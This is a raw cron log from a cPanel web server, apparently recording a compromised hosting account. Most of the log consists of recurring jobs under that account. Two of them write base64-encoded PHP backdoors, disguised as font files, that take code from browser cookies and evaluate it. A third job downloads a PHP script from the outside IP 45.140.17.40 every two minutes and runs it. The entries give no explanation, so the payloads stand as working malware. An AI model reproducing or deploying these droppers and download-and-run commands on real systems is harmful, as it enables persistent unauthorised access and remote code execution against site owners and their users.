Sep  2 10:01:01 ip-184-168-122-23 CROND[26753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:01:01 ip-184-168-122-23 CROND[26754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:01:01 ip-184-168-122-23 CROND[26757]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 10:01:01 ip-184-168-122-23 CROND[26758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:01:01 ip-184-168-122-23 CROND[26756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:01:01 ip-184-168-122-23 CROND[26760]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26757]: starting 0anacron
Sep  2 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26775]: finished 0anacron
Sep  2 10:02:01 ip-184-168-122-23 CROND[26919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:02:01 ip-184-168-122-23 CROND[26920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:02:01 ip-184-168-122-23 CROND[26921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:02:01 ip-184-168-122-23 CROND[26926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:02:01 ip-184-168-122-23 CROND[26927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:03:01 ip-184-168-122-23 CROND[27027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:03:01 ip-184-168-122-23 CROND[27028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:03:01 ip-184-168-122-23 CROND[27029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:03:01 ip-184-168-122-23 CROND[27031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:04:01 ip-184-168-122-23 CROND[27148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:04:01 ip-184-168-122-23 CROND[27149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:04:01 ip-184-168-122-23 CROND[27151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:04:01 ip-184-168-122-23 CROND[27155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:04:01 ip-184-168-122-23 CROND[27154]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:05:01 ip-184-168-122-23 CROND[27253]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:05:01 ip-184-168-122-23 CROND[27259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:05:01 ip-184-168-122-23 CROND[27255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:05:01 ip-184-168-122-23 CROND[27256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:05:01 ip-184-168-122-23 CROND[27257]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 10:05:01 ip-184-168-122-23 CROND[27258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:05:01 ip-184-168-122-23 CROND[27260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:06:01 ip-184-168-122-23 CROND[27454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:06:01 ip-184-168-122-23 CROND[27455]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:06:01 ip-184-168-122-23 CROND[27457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:06:01 ip-184-168-122-23 CROND[27460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:06:01 ip-184-168-122-23 CROND[27459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:07:01 ip-184-168-122-23 CROND[27573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:07:01 ip-184-168-122-23 CROND[27575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:07:01 ip-184-168-122-23 CROND[27576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:07:01 ip-184-168-122-23 CROND[27577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:08:01 ip-184-168-122-23 CROND[27677]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:08:01 ip-184-168-122-23 CROND[27680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:08:01 ip-184-168-122-23 CROND[27684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:08:01 ip-184-168-122-23 CROND[27686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:08:01 ip-184-168-122-23 CROND[27685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:09:01 ip-184-168-122-23 CROND[27798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:09:01 ip-184-168-122-23 CROND[27800]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 10:09:01 ip-184-168-122-23 CROND[27801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:09:01 ip-184-168-122-23 CROND[27802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:09:01 ip-184-168-122-23 CROND[27804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:10:01 ip-184-168-122-23 CROND[27924]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 10:10:01 ip-184-168-122-23 CROND[27927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:10:01 ip-184-168-122-23 CROND[27928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:10:01 ip-184-168-122-23 CROND[27931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:10:01 ip-184-168-122-23 CROND[27933]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:10:01 ip-184-168-122-23 CROND[27932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:10:01 ip-184-168-122-23 CROND[27934]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:10:01 ip-184-168-122-23 CROND[27935]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:11:01 ip-184-168-122-23 CROND[28058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:11:01 ip-184-168-122-23 CROND[28060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:11:01 ip-184-168-122-23 CROND[28061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:11:01 ip-184-168-122-23 CROND[28062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:12:01 ip-184-168-122-23 CROND[28148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:12:01 ip-184-168-122-23 CROND[28152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:12:01 ip-184-168-122-23 CROND[28153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:12:01 ip-184-168-122-23 CROND[28151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:12:01 ip-184-168-122-23 CROND[28150]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
